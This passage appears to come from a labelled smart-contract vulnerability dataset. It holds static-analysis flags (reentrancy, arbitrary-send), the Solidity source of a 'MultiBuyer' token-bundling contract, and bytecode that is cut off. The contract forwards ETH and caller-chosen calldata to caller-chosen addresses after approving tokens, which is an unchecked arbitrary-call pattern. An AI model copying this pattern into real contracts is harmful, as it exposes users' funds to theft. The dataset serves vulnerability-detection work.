9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115a78a6008546009546116f6565b92509250925060006115b76113dd565b905060008060006115ca8e878787611745565b919e509c509a509598509396509194505050505091939550919395565b600061116083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611024565b6000806116368385611acd565b9050838110156111605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044a565b60006116926113dd565b905060006116a083836112f0565b306000908152600260205260409020549091506116bd9082611629565b30600090815260026020526040902055505050565b6006546116df90836115e7565b6006556007546116ef9082611629565b6007555050565b600080808061170a6064610aad89896112f0565b9050600061171d6064610aad8a896112f0565b905060006117358261172f8b866115e7565b906115e7565b9992985090965090945050505050565b600080808061175488866112f0565b9050600061176288876112f0565b9050600061177088886112f0565b905060006117828261172f86866115e7565b939b939a50919850919650505050505050565b80356117a081611b9a565b919050565b6000602082840312156117b757600080fd5b813561116081611b9a565b6000602082840312156117d457600080fd5b815161116081611b9a565b600080604083850312156117f257600080fd5b82356117fd81611b9a565b9150602083013561180d81611b9a565b809150509250929050565b60008060006060848603121561182d57600080fd5b833561183881611b9a565b9250602084013561184881611b9a565b929592945050506040919091013590565b6000806040838503121561186c57600080fd5b823561187781611b9a565b946020939093013593505050565b6000602080838503121561189857600080fd5b823567ffffffffffffffff808211156118b057600080fd5b818501915085601f8301126118c457600080fd5b8135818111156118d6576118d6611b84565b8060051b604051601f19603f830116810181811085821117156118fb576118fb611b84565b604052828152858101935084860182860187018a101561191a57600080fd5b600095505b838610156119445761193081611795565b85526001959095019493860193860161191f565b5098975050505050505050565b60006020828403121561196357600080fd5b813561116081611baf565b60006020828403121561198057600080fd5b815161116081611baf565b60006020828403121561199d57600080fd5b5035919050565b6000806000606084860312156119b957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119ff578581018301518582016040015282016119e3565b81811115611a11576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aac5784516001600160a01b031683529383019391830191600101611a87565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ae057611ae0611b58565b500190565b600082611b0257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b2157611b21611b58565b500290565b600082821015611b3857611b38611b58565b500390565b6000600019821415611b5157611b51611b58565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e657600080fd5b80151581146104e657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220abe40eeaf03cc52d8d37f838b603601c9711e8e25b95209bd48b2105d41efd5364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,771
0xee3e9c95ad9b081055eb88c976e8e208a61a12ff
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buyOnApprove( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], 0); _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, 0); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, "buy: return value is too low"); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { _throughToken.transfer(msg.sender, _throughToken.balanceOf(this)); } } function buyOnTransfer( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.transfer(_exchanges[i], _values[i]); } require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, 0); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, "buy: return value is too low"); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { _throughToken.transfer(msg.sender, _throughToken.balanceOf(this)); } } function buyFirstTokensOnApprove( IMultiToken _mtkn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], 0); _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } uint tokensCount = _mtkn.tokensCount(); uint256[] memory amounts = new uint256[](tokensCount); for (i = 0; i < tokensCount; i++) { ERC20 token = _mtkn.tokens(i); amounts[i] = token.balanceOf(this); token.approve(_mtkn, 0); token.approve(_mtkn, amounts[i]); } _mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { _throughToken.transfer(msg.sender, _throughToken.balanceOf(this)); } } function buyFirstTokensOnTransfer( IMultiToken _mtkn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.transfer(_exchanges[i], _values[i]); } require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); } uint tokensCount = _mtkn.tokensCount(); uint256[] memory amounts = new uint256[](tokensCount); for (i = 0; i < tokensCount; i++) { ERC20 token = _mtkn.tokens(i); amounts[i] = token.balanceOf(this); token.approve(_mtkn, 0); token.approve(_mtkn, amounts[i]); } _mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { _throughToken.transfer(msg.sender, _throughToken.balanceOf(this)); } } }
0x6080604052600436106100745763ffffffff60e060020a60003504166317ffc3208114610079578063319e8bd21461009c578063715018a6146101aa5780638da5cb5b146101bf5780639dbb5423146101f0578063f2fde38b146102fe578063f5cbc4571461031f578063fc67191514610435575b600080fd5b34801561008557600080fd5b5061009a600160a060020a036004351661054b565b005b604080516020600460443581810135838102808601850190965280855261009a958335600160a060020a03908116966024803590921696369695606495929493019282918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506106019650505050505050565b3480156101b657600080fd5b5061009a610f56565b3480156101cb57600080fd5b506101d4610fc2565b60408051600160a060020a039092168252519081900360200190f35b604080516020600460443581810135838102808601850190965280855261009a958335600160a060020a03908116966024803590921696369695606495929493019282918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610fd19650505050505050565b34801561030a57600080fd5b5061009a600160a060020a0360043516611850565b604080516064356004818101356020818102858101820190965281855261009a95600160a060020a0384358116966024803597604435909316963696909560849593949092019290918291908501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506118739650505050505050565b604080516064356004818101356020818102858101820190965281855261009a95600160a060020a0384358116966024803597604435909316963696909560849593949092019290918291908501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061234c9650505050505050565b60008054600160a060020a0316331461056357600080fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156105ae57600080fd5b505af11580156105c2573d6000803e3d6000fd5b505050506040513d60208110156105d857600080fd5b50516000549091506105fd90600160a060020a0384811691168363ffffffff612c7e16565b5050565b60006060600080606060008951600101885114151561066c576040805160e560020a62461bcd02815260206004820152603a6024820152600080516020612dff8339815191526044820152600080516020612ddf833981519152606482015290519081900360840190fd5b89518751146106c7576040805160e560020a62461bcd0281526020600482015260366024820152600080516020612e5f8339815191526044820152600080516020612e3f833981519152606482015290519081900360840190fd5b600095505b89518610156109c05787868151811015156106e357fe5b9060200190602002015188876001018151811015156106fe57fe5b90602001906020020151036040519080825280601f01601f191660200182016040528015610736578160200160208202803883390190505b509450878681518110151561074757fe5b9060200190602002015193505b878660010181518110151561076557fe5b906020019060200201518410156107e157888481518110151561078457fe5b90602001015160f860020a900460f860020a028589888151811015156107a657fe5b9060200190602002015186038151811015156107be57fe5b906020010190600160f860020a031916908160001a905350600190930192610754565b600160a060020a038b16158015906107f95750600086115b156108bc578a600160a060020a031663a9059cbb8b8881518110151561081b57fe5b90602001906020020151898981518110151561083357fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561088f57600080fd5b505af11580156108a3573d6000803e3d6000fd5b505050506040513d60208110156108b957600080fd5b50505b89868151811015156108ca57fe5b90602001906020020151600160a060020a031687878151811015156108eb57fe5b906020019060200201518660405180828051906020019080838360005b83811015610920578181015183820152602001610908565b50505050905090810190601f16801561094d5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af19250505015156109b5576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612e1f833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b6001909501946106cc565b8b600160a060020a031663a64ed8ba6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156109fe57600080fd5b505af1158015610a12573d6000803e3d6000fd5b505050506040513d6020811015610a2857600080fd5b5051604080518281526020808402820101909152909350838015610a56578160200160208202803883390190505b509150600095505b82861015610cb6578b600160a060020a0316634f64b2be876040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015610aaf57600080fd5b505af1158015610ac3573d6000803e3d6000fd5b505050506040513d6020811015610ad957600080fd5b50516040805160e060020a6370a082310281523060048201529051919250600160a060020a038316916370a08231916024808201926020929091908290030181600087803b158015610b2a57600080fd5b505af1158015610b3e573d6000803e3d6000fd5b505050506040513d6020811015610b5457600080fd5b50518251839088908110610b6457fe5b906020019060200201818152505080600160a060020a031663095ea7b38d60006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d6020811015610c0057600080fd5b50508151600160a060020a0382169063095ea7b3908e9085908a908110610c2357fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610c7f57600080fd5b505af1158015610c93573d6000803e3d6000fd5b505050506040513d6020811015610ca957600080fd5b5050600190950194610a5e565b600160a060020a038c166322393ef433610cd8346103e863ffffffff612d1d16565b60405160e060020a63ffffffff8516028152600160a060020a03831660048201908152602482018390526060604483019081528851606484015288518993608401906020808601910280838360005b83811015610d3f578181015183820152602001610d27565b50505050905001945050505050600060405180830381600087803b158015610d6657600080fd5b505af1158015610d7a573d6000803e3d6000fd5b5050506000303111159050610db8576040513390303180156108fc02916000818181858888f19350505050158015610db6573d6000803e3d6000fd5b505b600160a060020a038b1615801590610e4757506040805160e060020a6370a082310281523060048201529051600091600160a060020a038e16916370a082319160248082019260209290919082900301818787803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d6020811015610e4357600080fd5b5051115b15610f48576040805160e060020a6370a082310281523060048201529051600160a060020a038d169163a9059cbb91339184916370a08231916024808201926020929091908290030181600087803b158015610ea257600080fd5b505af1158015610eb6573d6000803e3d6000fd5b505050506040513d6020811015610ecc57600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610f1b57600080fd5b505af1158015610f2f573d6000803e3d6000fd5b505050506040513d6020811015610f4557600080fd5b50505b505050505050505050505050565b600054600160a060020a03163314610f6d57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b60006060600080606060008951600101885114151561103c576040805160e560020a62461bcd02815260206004820152603a6024820152600080516020612dff8339815191526044820152600080516020612ddf833981519152606482015290519081900360840190fd5b8951875114611097576040805160e560020a62461bcd0281526020600482015260366024820152600080516020612e5f8339815191526044820152600080516020612e3f833981519152606482015290519081900360840190fd5b600095505b895186101561155a5787868151811015156110b357fe5b9060200190602002015188876001018151811015156110ce57fe5b90602001906020020151036040519080825280601f01601f191660200182016040528015611106578160200160208202803883390190505b509450878681518110151561111757fe5b9060200190602002015193505b878660010181518110151561113557fe5b906020019060200201518410156111b157888481518110151561115457fe5b90602001015160f860020a900460f860020a0285898881518110151561117657fe5b90602001906020020151860381518110151561118e57fe5b906020010190600160f860020a031916908160001a905350600190930192611124565b600160a060020a038b16158015906111c95750600086115b1561139f578a600160a060020a031663095ea7b38b888151811015156111eb57fe5b9060200190602002015160006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561124957600080fd5b505af115801561125d573d6000803e3d6000fd5b505050506040513d602081101561127357600080fd5b50508951600160a060020a038c169063095ea7b3908c908990811061129457fe5b906020019060200201518d600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156112f957600080fd5b505af115801561130d573d6000803e3d6000fd5b505050506040513d602081101561132357600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561137257600080fd5b505af1158015611386573d6000803e3d6000fd5b505050506040513d602081101561139c57600080fd5b50505b89868151811015156113ad57fe5b90602001906020020151600160a060020a031687878151811015156113ce57fe5b906020019060200201518660405180828051906020019080838360005b838110156114035781810151838201526020016113eb565b50505050905090810190601f1680156114305780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515611498576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612e1f833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b600160a060020a038b161561154f578a600160a060020a031663095ea7b38b888151811015156114c457fe5b9060200190602002015160006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561152257600080fd5b505af1158015611536573d6000803e3d6000fd5b505050506040513d602081101561154c57600080fd5b50505b60019095019461109c565b8b600160a060020a031663a64ed8ba6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561159857600080fd5b505af11580156115ac573d6000803e3d6000fd5b505050506040513d60208110156115c257600080fd5b50516040805182815260208084028201019091529093508380156115f0578160200160208202803883390190505b509150600095505b82861015610cb6578b600160a060020a0316634f64b2be876040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b15801561164957600080fd5b505af115801561165d573d6000803e3d6000fd5b505050506040513d602081101561167357600080fd5b50516040805160e060020a6370a082310281523060048201529051919250600160a060020a038316916370a08231916024808201926020929091908290030181600087803b1580156116c457600080fd5b505af11580156116d8573d6000803e3d6000fd5b505050506040513d60208110156116ee57600080fd5b505182518390889081106116fe57fe5b906020019060200201818152505080600160a060020a031663095ea7b38d60006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561177057600080fd5b505af1158015611784573d6000803e3d6000fd5b505050506040513d602081101561179a57600080fd5b50508151600160a060020a0382169063095ea7b3908e9085908a9081106117bd57fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561181957600080fd5b505af115801561182d573d6000803e3d6000fd5b505050506040513d602081101561184357600080fd5b50506001909501946115f8565b600054600160a060020a0316331461186757600080fd5b61187081612d4c565b50565b60006060600080600080895160010188511415156118dd576040805160e560020a62461bcd02815260206004820152603a6024820152600080516020612dff8339815191526044820152600080516020612ddf833981519152606482015290519081900360840190fd5b8951875114611938576040805160e560020a62461bcd0281526020600482015260366024820152600080516020612e5f8339815191526044820152600080516020612e3f833981519152606482015290519081900360840190fd5b600095505b8951861015611c3157878681518110151561195457fe5b90602001906020020151888760010181518110151561196f57fe5b90602001906020020151036040519080825280601f01601f1916602001820160405280156119a7578160200160208202803883390190505b50945087868151811015156119b857fe5b9060200190602002015193505b87866001018151811015156119d657fe5b90602001906020020151841015611a525788848151811015156119f557fe5b90602001015160f860020a900460f860020a02858988815181101515611a1757fe5b906020019060200201518603815181101515611a2f57fe5b906020010190600160f860020a031916908160001a9053506001909301926119c5565b600160a060020a038b1615801590611a6a5750600086115b15611b2d578a600160a060020a031663a9059cbb8b88815181101515611a8c57fe5b906020019060200201518989815181101515611aa457fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015611b0057600080fd5b505af1158015611b14573d6000803e3d6000fd5b505050506040513d6020811015611b2a57600080fd5b50505b8986815181101515611b3b57fe5b90602001906020020151600160a060020a03168787815181101515611b5c57fe5b906020019060200201518660405180828051906020019080838360005b83811015611b91578181015183820152602001611b79565b50505050905090810190601f168015611bbe5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515611c26576040805160e560020a62461bcd0281526020600482015260236024820152600080516020612e1f833981519152604482015260ea60020a621b195902606482015290519081900360840190fd5b60019095019461193d565b8c600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015611c6f57600080fd5b505af1158015611c83573d6000803e3d6000fd5b505050506040513d6020811015611c9957600080fd5b5051604080517fa64ed8ba00000000000000000000000000000000000000000000000000000000815290519195506000199450600160a060020a038f169163a64ed8ba916004808201926020929091908290030181600087803b158015611cff57600080fd5b505af1158015611d13573d6000803e3d6000fd5b505050506040513d6020811015611d2957600080fd5b505195505b600086111561209c578c600160a060020a0316634f64b2be600188036040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015611d8357600080fd5b505af1158015611d97573d6000803e3d6000fd5b505050506040513d6020811015611dad57600080fd5b8101908080519060200190929190505050915081600160a060020a031663095ea7b38e60006040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015611e2457600080fd5b505af1158015611e38573d6000803e3d6000fd5b505050506040513d6020811015611e4e57600080fd5b81019080805190602001909291905050505081600160a060020a031663095ea7b38e84600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015611ecb57600080fd5b505af1158015611edf573d6000803e3d6000fd5b505050506040513d6020811015611ef557600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b158015611f4457600080fd5b505af1158015611f58573d6000803e3d6000fd5b505050506040513d6020811015611f6e57600080fd5b50506040805160e060020a6370a08231028152600160a060020a038f811660048301529151612082928516916370a082319160248083019260209291908290030181600087803b158015611fc157600080fd5b505af1158015611fd5573d6000803e3d6000fd5b505050506040513d6020811015611feb57600080fd5b50516040805160e060020a6370a08231028152306004820152905161207691600160a060020a038716916370a08231916024808201926020929091908290030181600087803b15801561203d57600080fd5b505af1158015612051573d6000803e3d6000fd5b505050506040513d602081101561206757600080fd5b5051879063ffffffff612d1d16565b9063ffffffff612dc916565b905082811015612090578092505b60001990950194611d2e565b8b8310156120f4576040805160e560020a62461bcd02815260206004820152601c60248201527f6275793a2072657475726e2076616c756520697320746f6f206c6f7700000000604482015290519081900360640190fd5b604080517feba3cdfe000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a038f169163eba3cdfe91604480830192600092919082900301818387803b15801561215b57600080fd5b505af115801561216f573d6000803e3d6000fd5b50505060003031111590506121ad576040513390303180156108fc02916000818181858888f193505050501580156121ab573d6000803e3d6000fd5b505b600160a060020a038b161580159061223c57506040805160e060020a6370a082310281523060048201529051600091600160a060020a038e16916370a082319160248082019260209290919082900301818787803b15801561220e57600080fd5b505af1158015612222573d6000803e3d6000fd5b505050506040513d602081101561223857600080fd5b5051115b1561233d576040805160e060020a6370a082310281523060048201529051600160a060020a038d169163a9059cbb91339184916370a08231916024808201926020929091908290030181600087803b15801561229757600080fd5b505af11580156122ab573d6000803e3d6000fd5b505050506040513d60208110156122c157600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561231057600080fd5b505af1158015612324573d6000803e3d6000fd5b505050506040513d602081101561233a57600080fd5b50505b50505050505050505050505050565b60006060600080600080895160010188511415156123b6576040805160e560020a62461bcd02815260206004820152603a6024820152600080516020612dff8339815191526044820152600080516020612ddf833981519152606482015290519081900360840190fd5b8951875114612411576040805160e560020a62461bcd0281526020600482015260366024820152600080516020612e5f8339815191526044820152600080516020612e3f833981519152606482015290519081900360840190fd5b600095505b89518610156128d457878681518110151561242d57fe5b90602001906020020151888760010181518110151561244857fe5b90602001906020020151036040519080825280601f01601f191660200182016040528015612480578160200160208202803883390190505b509450878681518110151561249157fe5b9060200190602002015193505b87866001018151811015156124af57fe5b9060200190602002015184101561252b5788848151811015156124ce5